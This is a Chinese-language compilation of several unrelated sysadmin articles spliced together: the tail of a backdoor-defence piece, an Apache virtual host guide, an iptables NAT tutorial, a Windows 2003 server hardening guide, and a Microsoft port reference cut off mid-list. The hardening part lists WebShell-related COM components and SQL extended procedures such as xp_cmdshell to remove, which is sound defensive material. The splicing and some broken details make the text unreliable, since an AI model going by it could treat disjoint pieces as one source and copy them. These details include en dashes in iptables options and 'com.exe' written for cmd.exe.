通过加载内核模块的方式来加载后门,比较复杂。一般内核后门都是针对操作系统而言的,不同的操作系统内核模块设置编写方法都不一样,一般不通用。内核后门一般无法通过md5校验等来判断,所有基本比较难发现,目前针对内核后门比较多的是Linux和Solaris下。

* 防范方法:
FreeBSD下通过我们上面讲的设置内核安全等级来控制加载内核模块。

10. 其他后门
还有包括.forward等其他各类后门,另外很多后门可能是结合多种技术,比如把rootkit和内核后门结合在一起,实际过程中,黑克是会更难对付的。当然还有许多我们没有发现高手独门秘诀,这需要灵活检查,不过只要勤劳一点,安全会提升很多。

六、结束语

安全是一个整体,即使那么服务你设置的非常安全,但是不能保证永远安全,安全是动态的,必须不断的充实自己的知识,发现新漏洞、新技术。如果你需要更安全的系统,一定要自己有时常能够手工作入侵检测或者使用部分工具帮助你进行入侵检测。同时推荐你安装一些网络入侵检测系统(NIDS),比如Snort。

单位原有一台Web服务器,存有大量静态网页。最近领导要求能以Web方式对一些内容进行管理,即使用动态网页技术。通过综合考虑决定使用Apache+PHP+MySQL。软件很快就安装好并投入使用,而且应用了我设计的“卫生检查评比管理网页”。可是单位原先的Web网站内容却让我犯了难。因为单位原有Web服务器大家都已经很熟悉了,所以领导要求不能改变它的原有访问方式,还要使用原来“http://10.2.1.102”的方式进行访问。经过多方查找资料,我终于把这件事情给搞定了,现在写出来与大家分享。

一、要求

原Web站点使用“http://10.2.1.102”访问,现有Web站点使用“http://10.2.1.103” 访问,将学校FTP站点上的内容放到“http://10.2.1.103/ziyuan”下用于Web方式浏览(FTP和Web为同一台服务器的不同文件夹,安装Apache服务器时已经安装为监听80端口,“10.2.1.103”为默认Web访问地址,Web根目录为存放动态网页的文件夹,所以只要设置一个虚拟主机)。

二、基于IP地址的虚拟主机设置(原Web站点10.2.1.102)

  1. 用“记事本”程序打开“httpd.conf”配置文件。此文件存放在Apache服务器安装路径下的“conf”文件夹内。

  2. 光标定位到文件的最后,回车换行,写入如下内容,注意括号及括号内的内容不要写入。

  (设置虚拟主机名和监听端口,方法为:主机地址:端口)

  ServerAdmin bdwjh@163.com

  (设置管理员信箱,就写自己的信箱吧)

  DocumentRoot d:/wwwroot

  (设置网站根目录,原静态网站根目录)

  ServerName www.little.com

  (设置网站域名,没有就随便设置一个)

  ErrorLog logs/ www.little.com -error_log

  (设置日志位置,可以在行首加“#”注释)

  CustomLog logs/ www.little.com -access_log common

  (同上一行说明)

  3. 重复以上内容,可以加入更多虚拟主机。

  4. 保存以上内容,重新启动Apache服务器。

三、虚拟目录设置(显示学校FTP站点内容)

  1. 用“记事本”程序打开“httpd.conf”配置文件。

  2. 找到以下内容,括号内容为笔者所加。

  Alias /icons/ "D:/Apache2/icons/"

  (设置虚拟目录名为“icons”,放到网站根目录的“icons”内,其真实地址为“D:/Apache2/icons/”。请注意,“/icons/”以斜线结束,这就要求输入访问地址时也要输入最后的斜线,如“http://10.2.1.103/icons/”,如果这里省略的话,就可以输入访问地址时省略,不过系统会自动给加上这一斜线。真实地址“D:/Apache2/icons/”因安装位置而不同,需要注意)

  (设置虚拟目录属性)

  Options Indexes MultiViews

  (当没有主页时以是否显示文件及文件夹)

  AllowOverride None

  Order allow,deny

  Allow from all

  3. 回车换行后输入修改的以上内容如下。

  Alias /ziyuan "D:/ftproot/" (访问时可以省略最后的斜线)

  Options Indexes MultiViews

  AllowOverride None

  Order allow,deny

  Allow from all

  4. 保存以上内容,重新启动Apache服务器。

本文在Windows2000/Windows2003、ApacheApache/2.0.52、PHP/5.0.3、MySQL/4.1.9环境下测试通过。

        本文主要介绍如何使用iptbales实现linux2.4下的强大的NAT功能。关于iptables的详细语法请参考“用iptales实现包过虑型防火墙”一文。需要申明的是,本文绝对不是 NAT-HOWTO的简单重复或是中文版,在整个的叙述过程中,作者都在试图用自己的语言来表达自己的理解,自己的思想。

  一、概述

  1. 什么是NAT

  在传统的标准的TCP/IP通信过程中,所有的路由器仅仅是充当一个中间人的角色,也就是通常所说的存储转发,路由器并不会对转发的数据包进行修改,更为确切的说,除了将源MAC地址换成自己的MAC地址以外,路由器不会对转发的数据包做任何修改。NAT(Network Address Translation网络地址翻译)恰恰是出于某种特殊需要而对数据包的源ip地址、目的ip地址、源端口、目的端口进行改写的操作。

  2. 为什么要进行NAT

  我们来看看再什么情况下我们需要做NAT。

  假设有一家ISP提供园区Internet接入服务,为了方便管理,该ISP分配给园区用户的IP地址都是伪IP,但是部分用户要求建立自己的WWW服务器对外发布信息,这时候我们就可以通过NAT来提供这种服务了。我们可以在防火墙的外部网卡上绑定多个合法IP地址,然后通过NAT技术使发给其中某一个IP地址的包转发至内部某一用户的WWW服务器上,然后再将该内部WWW服务器响应包伪装成该合法IP发出的包。

  再比如使用拨号上网的网吧,因为只有一个合法的IP地址,必须采用某种手段让其他机器也可以上网,通常是采用代理服务器的方式,但是代理服务器,尤其是应用层代理服务器,只能支持有限的协议,如果过了一段时间后又有新的服务出来,则只能等待代理服务器支持该新应用的升级版本。如果采用NAT来解决这个问题,

  因为是在应用层以下进行处理,NAT不但可以获得很高的访问速度,而且可以无缝的支持任何新的服务或应用。

  还有一个方面的应用就是重定向,也就是当接收到一个包后,不是转发这个包,而是将其重定向到系统上的某一个应用程序。最常见的应用就是和squid配合使用成为透明代理,在对http流量进行缓存的同时,可以提供对Internet的无缝访问。

  3. NAT的类型

  在linux2.4的NAT-HOWTO中,作者从原理的角度将NAT分成了两种类型,即源NAT(SNAT)和目的NAT(DNAT),顾名思义,所谓SNAT就是改变转发数据包的源地址,所谓DNAT就是改变转发数据包的目的地址。 

  二、原理

  在“用iptales实现包过虑型防火墙”一文中我们说过,netfilter是Linux 核心中一个通用架构,它提供了一系列的"表"(tables),每个表由若干"链"(chains)组成,而每条链中可以有一条或数条规则(rule)组成。并且系统缺省的表是"filter"。但是在使用NAT的时候,我们所使用的表不再是"filter",而是"nat"表,所以我们必须使用"-t nat"选项来显式地指明这一点。因为系统缺省的表是"filter",所以在使用filter功能时,我们没有必要显式的指明"-t filter"。

  同filter表一样,nat表也有三条缺省的"链"(chains),这三条链也是规则的容器,它们分别是:

  PREROUTING:可以在这里定义进行目的NAT的规则,因为路由器进行路由时只检查数据包的目的ip地址,所以为了使数据包得以正确路由,我们必须在路由之前就进行目的NAT;

  POSTROUTING:可以在这里定义进行源NAT的规则,系统在决定了数据包的路由以后在执行该链中的规则。

  OUTPUT:定义对本地产生的数据包的目的NAT规则。

    三、操作语法

  如前所述,在使用iptables的NAT功能时,我们必须在每一条规则中使用"-t nat"显示的指明使用nat表。然后使用以下的选项:

  1. 对规则的操作

  加入(append) 一个新规则到一个链 (-A)的最后。

  在链内某个位置插入(insert) 一个新规则(-I),通常是插在最前面。

  在链内某个位置替换(replace) 一条规则 (-R)。

  在链内某个位置删除(delete) 一条规则 (-D)。

  删除(delete) 链内第一条规则 (-D)。

  2. 指定源地址和目的地址

  通过–source/–src/-s来指定源地址(这里的/表示或者的意思,下同),通过–destination/–dst/-s来指定目的地址。可以使用以下四中方法来指定ip地址:

  a. 使用完整的域名,如“www.linuxaid.com.cn”;

  b. 使用ip地址,如“192.168.1.1”;

  c. 用x.x.x.x/x.x.x.x指定一个网络地址,如“192.168.1.0/255.255.255.0”;

  d. 用x.x.x.x/x指定一个网络地址,如“192.168.1.0/24”这里的24表明了子网掩码的有效位数,这是 UNIX环境中通常使用的表示方法。

  缺省的子网掩码数是32,也就是说指定192.168.1.1等效于192.168.1.1/32。

  3. 指定网络接口

  可以使用–in-interface/-i或–out-interface/-o来指定网络接口。从NAT的原理可以看出,对于PREROUTING链,我们只能用-i指定进来的网络接口;而对于POSTROUTING和OUTPUT我们只能用-o指定出去的网络接口。

  4. 指定协议及端口

  可以通过–protocol/-p选项来指定协议,如果是udp和tcp协议,还可–source-port/–sport和 –destination-port/–dport来指明端口。

  四、准备工作

  1. 编译内核,编译时选中以下选项,具体可参看“用iptales实现包过虑型防火墙”一文:

   Full NAT

   MASQUERADE target support

   REDIRECT target support

  2. 要使用NAT表时,必须首先载入相关模块:

  modprobe ip_tables

  modprobe ip_nat_ftp

  iptable_nat 模块会在运行时自动载入。

    五、使用实例

  1. 源NAT(SNAT)

  比如,更改所有来自192.168.1.0/24的数据包的源ip地址为1.2.3.4:

  iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT –to 1.2.3.4

  这里需要注意的是,系统在路由及过虑等处理直到数据包要被送出时才进行SNAT。

  有一种SNAT的特殊情况是ip欺骗,也就是所谓的Masquerading,通常建议在使用拨号上网的时候使用,或者说在合法ip地址不固定的情况下使用。比如

  # iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

  可以看出,这时候我们没有必要显式的指定源ip地址等信息。

  2. 目的SNAT(DNAT)

  比如,更改所有来自192.168.1.0/24的数据包的目的ip地址为1.2.3.4:

  iptables -t nat -A PREROUTING -s 192.168.1.0/24 -i eth1 -j DNAT –to 1.2.3.4

  这里需要注意的是,系统是先进行DNAT,然后才进行路由及过虑等操作。

  有一种DNAT的特殊情况是重定向,也就是所谓的Redirection,这时候就相当于将符合条件的数据包的目的ip地址改为数据包进入系统时的网络接口的ip地址。通常是在与squid配置形成透明代理时使用,假设squid的监听端口是3128,我 们可以通过以下语句来将来自192.168.1.0/24,目的端口为80的数据包重定向到squid监听

  端口:

  iptables -t nat -A PREROUTING -i eth1 -p tcp -s 192.168.1.0/24 –dport 80

  -j REDIRECT –to-port 3128

    六、综合例子

  1. 使用拨号带动局域网上网

  小型企业、网吧等多使用拨号网络上网,通常可能使用代理,但是考虑到成本、对协议的支持等因素,建议使用ip欺骗方式带动区域网上网。

  成功升级内核后安装iptables,然后执行以下脚本:

  #载入相关模块

  modprobe ip_tables

  modprobe ip_nat_ftp

  #进行ip伪装

  iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

  2. ip映射

  假设有一家ISP提供园区Internet接入服务,为了方便管理,该ISP分配给园区用户的IP地址都是伪IP,但是部分用户要求建立自己的WWW服务器对外发布信息。我们可以再防火墙的外部网卡上绑定多个合法IP地址,然后通过ip映射使发给其中某一 个IP地址的包转发至内部某一用户的WWW服务器上,然后再将该内部WWW服务器响应包伪装成该合法IP发出的包。

  我们假设以下情景:

  该ISP分配给A单位www服务器的ip为:

  伪ip:192.168.1.100

  真实ip:202.110.123.100

  该ISP分配给B单位www服务器的ip为:

  伪ip:192.168.1.200

  真实ip:202.110.123.200

  linux防火墙的ip地址分别为:

  内网接口eth1:192.168.1.1

  外网接口eth0:202.110.123.1

  然后我们将分配给A、B单位的真实ip绑定到防火墙的外网接口,以root权限执行以下命令:

  ifconfig eth0 add 202.110.123.100 netmask 255.255.255.0

  ifconfig eth0 add 202.110.123.200 netmask 255.255.255.0

  成功升级内核后安装iptables,然后执行以下脚本:

  #载入相关模块

  modprobe ip_tables

  modprobe ip_nat_ftp

  首先,对防火墙接收到的目的ip为202.110.123.100和202.110.123.200的所有数据包进行目的NAT(DNAT):

  iptables -A PREROUTING -i eth0 -d 202.110.123.100 -j DNAT –to 192.168.1.100

  iptables -A PREROUTING -i eth0 -d 202.110.123.200 -j DNAT –to 192.168.1.200

  其次,对防火墙接收到的源ip地址为192.168.1.100和192.168.1.200的数据包进行源NAT(SNAT):

  iptables -A POSTROUTING -o eth0 -s 192.168.1.100 -j SNAT –to 202.110.123.100

  iptables -A POSTROUTING -o eth0 -s 192.168.1.200 -j SNAT –to 202.110.123.200

  这样,所有目的ip为202.110.123.100和202.110.123.200的数据包都将分别被转发给192.168.1.100和192.168.1.200;而所有来自192.168.1.100和192.168.1.200的数据包都将分 别被伪装成由202.110.123.100和202.110.123.200,从而也就实现了ip映射。

原理篇

我们将从入侵者入侵的各个环节来作出对应措施
一步步的加固windows系统.
加固windows系统.一共归于几个方面
1.端口限制
2.设置ACL权限
3.关闭服务或组件
4.包过滤
5.审计

我们现在开始从入侵者的第一步开始.对应的开始加固已有的windows系统.

1.扫描
这是入侵者在刚开始要做的第一步.比如搜索有漏洞的服务.
对应措施:端口限制
以下所有规则.都需要选择镜像,否则会导致无法连接
我们需要作的就是打开服务所需要的端口.而将其他的端口一律屏蔽

2.下载信息
这里主要是通过URL SCAN.来过滤一些非法请求
对应措施:过滤相应包
我们通过安全URL SCAN并且设置urlscan.ini中的DenyExtensions字段
来阻止特定结尾的文件的执行

3.上传文件
入侵者通过这步上传WEBSHELL,提权软件,运行cmd指令等等.
对应措施:取消相应服务和功能,设置ACL权限
如果有条件可以不使用FSO的.
通过 regsvr32 /u c:windowssystem32scrrun.dll来注销掉相关的DLL.
如果需要使用.
那就为每个站点建立一个user用户
对每个站点相应的目录.只给这个用户读,写,执行权限,给administrators全部权限
安装杀毒软件.实时杀除上传上来的恶意代码.
个人推荐MCAFEE或者卡巴斯基
如果使用MCAFEE.对WINDOWS目录所有添加与修改文件的行为进行阻止.

4.WebShell
入侵者上传文件后.需要利用WebShell来执行可执行程序.或者利用WebShell进行更加方便的文件操作.
对应措施:取消相应服务和功能
一般WebShell用到以下组件
WScript.Network
WScript.Network.1
WScript.Shell
WScript.Shell.1
Shell.Application
Shell.Application.1
我们在注册表中将以上键值改名或删除
同时需要注意按照这些键值下的CLSID键的内容
从/HKEY_CLASSES_ROOT/CLSID下面对应的键值删除

5.执行SHELL
入侵者获得shell来执行更多指令
对应措施:设置ACL权限
windows的命令行控制台位于WINDOWSSYSTEM32CMD.EXE
我们将此文件的ACL修改为
某个特定管理员帐户(比如administrator)拥有全部权限.
其他用户.包括system用户,administrators组等等.一律无权限访问此文件.

6.利用已有用户或添加用户
入侵者通过利用修改已有用户或者添加windows正式用户.向获取管理员权限迈进
对应措施:设置ACL权限.修改用户
将除管理员外所有用户的终端访问权限去掉.
限制CMD.EXE的访问权限.
限制SQL SERVER内的XP_CMDSHELL

7.登陆图形终端
入侵者登陆TERMINAL SERVER或者RADMIN等等图形终端,
获取许多图形程序的运行权限.由于WINDOWS系统下绝大部分应用程序都是GUI的.
所以这步是每个入侵WINDOWS的入侵者都希望获得的
对应措施:端口限制
入侵者可能利用3389或者其他的木马之类的获取对于图形界面的访问.
我们在第一步的端口限制中.对所有从内到外的访问一律屏蔽也就是为了防止反弹木马.
所以在端口限制中.由本地访问外部网络的端口越少越好.
如果不是作为MAIL SERVER.可以不用加任何由内向外的端口.
阻断所有的反弹木马.

8.擦除脚印
入侵者在获得了一台机器的完全管理员权限后
就是擦除脚印来隐藏自身.
对应措施:审计
首先我们要确定在windows日志中打开足够的审计项目.
如果审计项目不足.入侵者甚至都无需去删除windows事件.
其次我们可以用自己的cmd.exe以及net.exe来替换系统自带的.
将运行的指令保存下来.了解入侵者的行动.
对于windows日志
我们可以通过将日志发送到远程日志服务器的方式来保证记录的完整性.
evtsys工具(https://engineering.purdue.edu/ECN/Resources/Documents)
提供将windows日志转换成syslog格式并且发送到远程服务器上的功能.
使用此用具.并且在远程服务器上开放syslogd,如果远程服务器是windows系统.
推荐使用kiwi syslog deamon.

我们要达到的目的就是
不让入侵者扫描到主机弱点
即使扫描到了也不能上传文件
即使上传文件了不能操作其他目录的文件
即使操作了其他目录的文件也不能执行shell
即使执行了shell也不能添加用户
即使添加用户了也不能登陆图形终端
即使登陆了图形终端.拥有系统控制权.他的所作所为还是会被记录下来.

额外措施:
我们可以通过增加一些设备和措施来进一步加强系统安全性.
1.代理型防火墙.如ISA2004
代理型防火墙可以对进出的包进行内容过滤.
设置对HTTP REQUEST内的request string或者form内容进行过滤
将SELECT.DROP.DELETE.INSERT等都过滤掉.
因为这些关键词在客户提交的表单或者内容中是不可能出现的.
过滤了以后可以说从根本杜绝了SQL 注入
2.用SNORT建立IDS
用另一台服务器建立个SNORT.
对于所有进出服务器的包都进行分析和记录
特别是FTP上传的指令以及HTTP对ASP文件的请求
可以特别关注一下.

本文提到的部分软件在提供下载的RAR中包含
包括COM命令行执行记录
URLSCAN 2.5以及配置好的配置文件
IPSEC导出的端口规则
evtsys
一些注册表加固的注册表项.

实践篇

下面我用的例子.将是一台标准的虚拟主机.
系统:windows2003
服务:[IIS] [SERV-U] [IMAIL] [SQL SERVER 2000] [PHP] [MYSQL]
描述:为了演示,绑定了最多的服务.大家可以根据实际情况做筛减

1.WINDOWS本地安全策略 端口限制
A.对于我们的例子来说.需要开通以下端口
外->本地 80
外->本地 20
外->本地 21
外->本地 PASV所用到的一些端口
外->本地 25
外->本地 110
外->本地 3389
然后按照具体情况.打开SQL SERVER和MYSQL的端口
外->本地 1433
外->本地 3306
B.接着是开放从内部往外需要开放的端口
按照实际情况,如果无需邮件服务,则不要打开以下两条规则
本地->外 53 TCP,UDP
本地->外 25
按照具体情况.如果无需在服务器上访问网页.尽量不要开以下端口
本地->外 80
C.除了明确允许的一律阻止.这个是安全规则的关键.
外->本地 所有协议 阻止

2.用户帐号
a.将administrator改名,例子中改为root
b.取消所有除管理员root外所有用户属性中的
远程控制->启用远程控制 以及
终端服务配置文件->允许登陆到终端服务器
c.将guest改名为administrator并且修改密码
d.除了管理员root,IUSER以及IWAM以及ASPNET用户外.禁用其他一切用户.包括SQL DEBUG以及TERMINAL USER等等

3.目录权限
将所有盘符的权限,全部改为只有
administrators组  全部权限
system  全部权限
将C盘的所有子目录和子文件继承C盘的administrator(组或用户)和SYSTEM所有权限的两个权限
然后做如下修改
C:Program FilesCommon Files 开放Everyone 默认的读取及运行 列出文件目录 读取三个权限
C:WINDOWS 开放Everyone 默认的读取及运行 列出文件目录 读取三个权限
C:WINDOWSTemp 开放Everyone 修改,读取及运行,列出文件目录,读取,写入权限
现在WebShell就无法在系统目录内写入文件了.
当然也可以使用更严格的权限.
在WINDOWS下分别目录设置权限.
可是比较复杂.效果也并不明显.

4.IIS
在IIS 6下.应用程序扩展内的文件类型对应ISAPI的类型已经去掉了IDQ,PRINT等等危险的脚本类型,
在IIS 5下我们需要把除了ASP以及ASA以外所有类型删除.
安装URLSCAN
在[DenyExtensions]中
一般加入以下内容
.cer
.cdx
.mdb
.bat
.cmd
.com
.htw  
.ida  
.idq  
.htr  
.idc  
.shtm
.shtml
.stm  
.printer
这样入侵者就无法下载.mdb数据库.这种方法比外面一些在文件头加入特殊字符的方法更加彻底.
因为即便文件头加入特殊字符.还是可以通过编码构造出来的

5.WEB目录权限
作为虚拟主机.会有许多独立客户
比较保险的做法就是为每个客户,建立一个windows用户
然后在IIS的响应的站点项内
把IIS执行的匿名用户.绑定成这个用户
并且把他指向的目录
权限变更为
administrators  全部权限
system  全部权限
单独建立的用户(或者IUSER)  选择高级->打开除 完全控制,遍历文件夹/运行程序,取得所有权 3个外的其他权限.

如果服务器上站点不多.并且有论坛
我们可以把每个论坛的上传目录
去掉此用户的执行权限.
只有读写权限
这样入侵者即便绕过论坛文件类型检测上传了webshell
也是无法运行的.

6.MS SQL SERVER2000
使用系统帐户登陆查询分析器
运行以下脚本
use master
exec sp_dropextendedproc ‘xp_cmdshell’
exec sp_dropextendedproc ‘xp_dirtree’
exec sp_dropextendedproc ‘xp_enumgroups’
exec sp_dropextendedproc ‘xp_fixeddrives’
exec sp_dropextendedproc ‘xp_loginconfig’
exec sp_dropextendedproc ‘xp_enumerrorlogs’
exec sp_dropextendedproc ‘xp_getfiledetails’
exec sp_dropextendedproc ‘Sp_OACreate’
exec sp_dropextendedproc ‘Sp_OADestroy’
exec sp_dropextendedproc ‘Sp_OAGetErrorInfo’
exec sp_dropextendedproc ‘Sp_OAGetProperty’
exec sp_dropextendedproc ‘Sp_OAMethod’
exec sp_dropextendedproc ‘Sp_OASetProperty’
exec sp_dropextendedproc ‘Sp_OAStop’
exec sp_dropextendedproc ‘Xp_regaddmultistring’
exec sp_dropextendedproc ‘Xp_regdeletekey’
exec sp_dropextendedproc ‘Xp_regdeletevalue’
exec sp_dropextendedproc ‘Xp_regenumvalues’
exec sp_dropextendedproc ‘Xp_regread’
exec sp_dropextendedproc ‘Xp_regremovemultistring’
exec sp_dropextendedproc ‘Xp_regwrite’
drop procedure sp_makewebtask
go
删除所有危险的扩展.

7.修改CMD.EXE以及NET.EXE权限
将两个文件的权限.修改到特定管理员才能访问,比如本例中.我们如下修改
cmd.exe   root用户   所有权限
net.exe   root用户   所有权现
这样就能防止非法访问.
还可以使用例子中提供的comlog程序
将com.exe改名_com.exe,然后替换com文件.这样可以记录所有执行的命令行指令

8.备份
使用ntbackup软件.备份系统状态.
使用reg.exe 备份系统关键数据
如reg export HKLMSOFTWAREODBC e:backupsystemodbc.reg /y
来备份系统的ODBC

9.杀毒
这里介绍MCAFEE 8i 中文企业版
因为这个版本对于国内的许多恶意代码和木马都能够及时的更新.
比如已经能够检测到海阳顶端2006
而且能够杀除IMAIL等SMTP软件使用的队列中MIME编码的病毒文件
而很多人喜欢安装诺顿企业版.而诺顿企业版,对于WEBSHELL.基本都是没有反应的.
而且无法对于MIME编码的文件进行杀毒.
在MCAFEE中.
我们还能够加入规则.阻止在windows目录建立和修改EXE.DLL文件等
我们在软件中加入对WEB目录的杀毒计划.
每天执行一次
并且打开实时监控.

10.关闭无用的服务
我们一般关闭如下服务
Computer Browser
Help and Support
Messenger
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
如果服务器不用作域控,我们也可以禁用
Workstation

11.取消危险组件
如果服务器不需要FSO
regsvr32 /u c:windowssystem32scrrun.dll
注销组件
使用regedit
将/HKEY_CLASSES_ROOT下的
WScript.Network
WScript.Network.1
WScript.Shell
WScript.Shell.1
Shell.Application
Shell.Application.1
键值改名或删除
将这些键值下CLSID中包含的字串
如{72C24DD5-D70A-438B-8A42-98424B88AFB8}
到/HKEY_CLASSES_ROOT/CLSID下找到以这些字串命名的键值
全部删除

12.审计
本地安全策略->本地策略->审核策略
打开以下内容
审核策略更改    成功,失败
审核系统事件    成功,失败
审核帐户登陆事件    成功,失败
审核帐户管理    成功,失败

概要
本文讨论 Microsoft Windows 服务器系统中的 Microsoft 客户端和服务器操作系统、基于服务器的程序及其子组件所使用的基本网络端口、协议和服务。管理员和支持专业人员可以使用这篇 Microsoft 知识库文章作为指导,以确定 Microsoft 操作系统和程序在分段网络中进行网络连接所需的端口和协议。

不应使用本文中的端口信息来配置 Windows 防火墙。有关配置 Windows 防火墙的信息,请参阅“Windows 防火墙设置技术参考”。

Windows 服务器系统包括一个全面、集成的基础结构,旨在满足开发人员和信息技术 (IT) 专业人员的要求。此系统设计用于运行特定的程序和解决方案,借助这些程序和解决方案,信息工作人员可以快速便捷地获取、分析和共享信息。这些 Microsoft 客户端、服务器和服务器程序产品使用不同的网络端口和协议,通过网络与客户端系统和其他服务器系统进行通信。专用防火墙、基于主机的防火墙以及 Internet 协议安全性 (IPSec) 筛选器都是帮助保证网络安全所需的其他重要组件。但是,如果将这些技术配置为阻止某个特定的服务器所使用的端口和协议,则该服务器将不再响应客户端请求。

概述
下面的列表提供了本文所包含的信息的概述: 本文的“系统服务端口”一节包含每个服务的简短说明,显示该服务的逻辑名称,并指出每个服务进行正确操作所需的端口和协议。使用此部分可帮助识别特定的服务所使用的端口和协议。
本文的“端口和协议”一节包括一个表,其中总结了“系统服务端口”一节中的信息。这个表是按端口号排序的,而不是按服务名称排序的。使用此部分可以迅速确定哪些服务侦听特定的端口。
本文在某些术语的使用上采用了特定的方式。为了避免混淆,请确保对本文使用这些术语的方式有所了解。下面的列表对这些术语进行了说明: 系统服务:Windows 服务器系统包括许多产品,如 Microsoft Windows 2000 Server 系列、Microsoft Windows Server 2003 系列、Microsoft Exchange 2000 Server 和 Microsoft SQL Server 2000。所有这些产品都包括许多组件,系统服务就是这些组件之一。特定计算机所需的系统服务或者由操作系统在启动期间自动启动,或者根据需要在典型操作期间启动。例如,在运行 Windows Server 2003 企业版的计算机上,一些可用的系统服务包括服务器服务、后台打印程序服务以及万维网发布服务。每个系统服务都有一个友好的服务名称和一个服务名称。友好的服务名称是图形管理工具(如“服务”Microsoft 管理控制台 (MMC) 管理单元)中显示的名称。服务名称是用于命令行工具以及许多脚本语言的名称。每个系统服务可以提供一项或多项网络服务。
应用程序协议:在本文中,应用程序协议是指使用一个或多个 TCP/IP 协议和端口的高级网络协议。应用程序协议的示例包括超文本传输协议 (HTTP)、服务器消息块 (SMB) 和简单邮件传输协议 (SMTP)。
协议:TCP/IP 协议在低于应用程序协议的级别上运行,它是网络上的设备之间进行通信的标准格式。TCP/IP 协议套件包括 TCP、用户数据报协议 (UDP) 以及 Internet 控制消息协议 (ICMP)。
端口:这是系统服务侦听传入的网络流量的网络端口。
本文没有指定哪些服务依赖于其他服务进行网络通信。例如,许多服务依赖 Microsoft Windows 中的远程过程调用 (RPC) 功能或 DCOM 功能为它们分配动态 TCP 端口。远程过程调用服务协调由其他使用 RPC 或 DCOM 与客户机通信的系统服务发出的请求。许多其他服务依赖于网络基本输入/输出系统 (NetBIOS) 或 SMB,而 NetBIOS 和 SMB 实际上是由服务器服务提供的两种协议。还有一些服务依赖于 HTTP 或安全超文本传输协议 (HTTPS)。这些协议是由 Internet 信息服务 (IIS) 提供的。有关 Windows 操作系统基础结构的完整讨论已超出本文讨论的范围。不过,在 Microsoft TechNet 和 Microsoft Developer Network (MSDN) 上可以获得有关此主题的详细文档。虽然可能有许多服务依赖于某一特定的 TCP 端口或 UDP 端口,但在任一时间都只能有一个服务或进程侦听该端口。

将 RPC 与 TCP/IP 或 UDP/IP 一起用于传输时,入站端口常常按照需要动态分配给系统服务;使用高于端口 1024 的 TCP/IP 端口和 UDP/IP 端口。这些端口常常被非正式地称为“随机 RPC 端口”。在这些情况下,RPC 客户端依赖 RPC 终结点映射器通知它们哪个(些)动态端口分配给了服务器。对于某些基于 RPC 的服务,您可以配置一个特定的端口而不是让 RPC 动态分配端口。另外,无论对于什么服务,都可以将 RPC 动态分配的端口范围限制为一个小范围。

本文包含有关本文结尾的“适用于”一节中所列出的 Microsoft 产品的系统服务角色和服务器角色的信息。虽然此信息可能同样适用于 Microsoft Windows XP 和 Microsoft Windows 2000 Professional,但本文主要集中讨论服务器类操作系统。因此,本文介绍了服务侦听的端口,而没有介绍客户端程序用来连接到远程系统的端口。

系统服务端口
本部分提供对每个系统服务的说明,包括与系统服务相对应的逻辑名称,还显示了每个服务所需的端口和协议。

Active Directory(本地安全机构)
Active Directory 在 LSASS 进程下运行,它包括用于 Windows 2000 和 Windows Server 2003 域控制器的身份验证引擎和复制引擎。除了 1024 和 65536 之间的某一范围的临时 TCP 端口外,域控制器、客户机和应用程序服务器还需要通过特定硬编码端口与 Active Directory 进行网络连接,除非使用隧道协议封装此流量。封装的解决方案可能在同时使用第 2 层隧道协议 (L2TP) 和 IPsec 的筛选路由器后面包含一个 VPN 网关。在此封装方案中,您必须允许 IPsec 封装式安全协议 (ESP)(IP 协议 50)、IPsec 网络地址转换器遍历 NAT-T(UDP 端口 4500)以及 IPsec Internet 安全关联和密钥管理协议 (ISAKMP)(UDP 端口 500)通过路由器,而不是打开下面列出的所有端口和协议。最后,可以按 224196 中所述对用于 Active Directory 复制的端口进行硬编码:将 Active Directory 复制流量限制在特定端口。

注意:L2TP 流量不需要数据包筛选器,因为 L2TP 受 IPSec ESP 保护。

系统服务名称:LSASS应用程序协议 协议 端口
全局编录服务器 TCP 3269
全局编录服务器 TCP 3268
LDAP 服务器 TCP 389
LDAP 服务器 UDP 389
LDAP SSL TCP 636
LDAP SSL UDP 636
IPsec ISAKMP UDP 500
NAT-T UDP 4500
RPC TCP 135
RPC 随机分配的高 TCP 端口 TCP 1024 – 65536

应用程序层网关服务
Internet 连接共享 (ICS)/Internet 连接防火墙 (ICF) 服务的这个子组件对允许网络协议通过防火墙并在 Internet 连接共享后面工作的插件提供支持。应用程序层网关 (ALG) 插件可以打开端口和更改嵌入在数据包内的数据(如端口和 IP 地址)。文件传输协议 (FTP) 是唯一具有 Windows Server 2003 标准版和 Windows Server 2003 企业版附带的一个插件的网络协议。ALG FTP 插件旨在通过这些组件使用的网络地址转换 (NAT) 引擎来支持活动的 FTP 会话。ALG FTP 插件通过重定向所有通过 NAT 的流量和发送到通向环回适配器上 3000 到 5000 范围内的专用侦听端口的端口 21 的流量来支持这些会话。ALG FTP 插件随后监视并更新 FTP 控制通道流量,以便 FTP 插件能够通过 FTP 数据通道的 NAT 转发端口映射。FTP 插件还更新 FTP 控制通道流中的端口。

系统服务名称:ALG应用程序协议 协议 端口
FTP 控制 TCP 21

ASP.NET 状态服务
ASP.NET 状态服务支持 ASP.NET 进程外会话状态。ASP.NET 状态服务在进程外存储会话数据。此服务使用套接字与在 Web 服务器上运行的 ASP.NET 进行通信。

系统服务名称:aspnet_state应用程序协议 协议 端口
ASP.NET 会话状态 TCP 42424

证书服务
证书服务是核心操作系统的一部分。使用证书服务,企业可以充当它自己的证书颁发机构 (CA)。通过这种方法,企业可以颁发和管理程序及协议(如安全/多用途 Internet 邮件扩展 (S/MIME)、安全套接字层 (SSL)、加密文件系统 (EFS)、IPsec 以及智能卡登录)的数字证书。证书服务使用高于端口 1024 的随机 TCP 端口,依赖 RPC 和 DCOM 与客户机进行通信。

系统服务名称:CertSvc应用程序协议 协议 端口
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

群集服务
“群集”服务控制服务器群集操作并管理群集数据库。群集是多个独立计算机的集合,充当单个计算机。管理员、程序员和用户将群集看作单个系统。此软件在群集节点之间分发数据。如果一个节点失败了,其他节点将提供原来由丢失的节点提供的服务和数据。当添加或修复了某个节点后,群集软件将一些数据迁移到此节点。

系统服务名称:ClusSvc应用程序协议 协议 端口
群集服务 UDP 3343
RPC TCP 135
随机分配的高 TCP 端口 TCP 1024 – 65534 之间的随机端口号

计算机浏览器
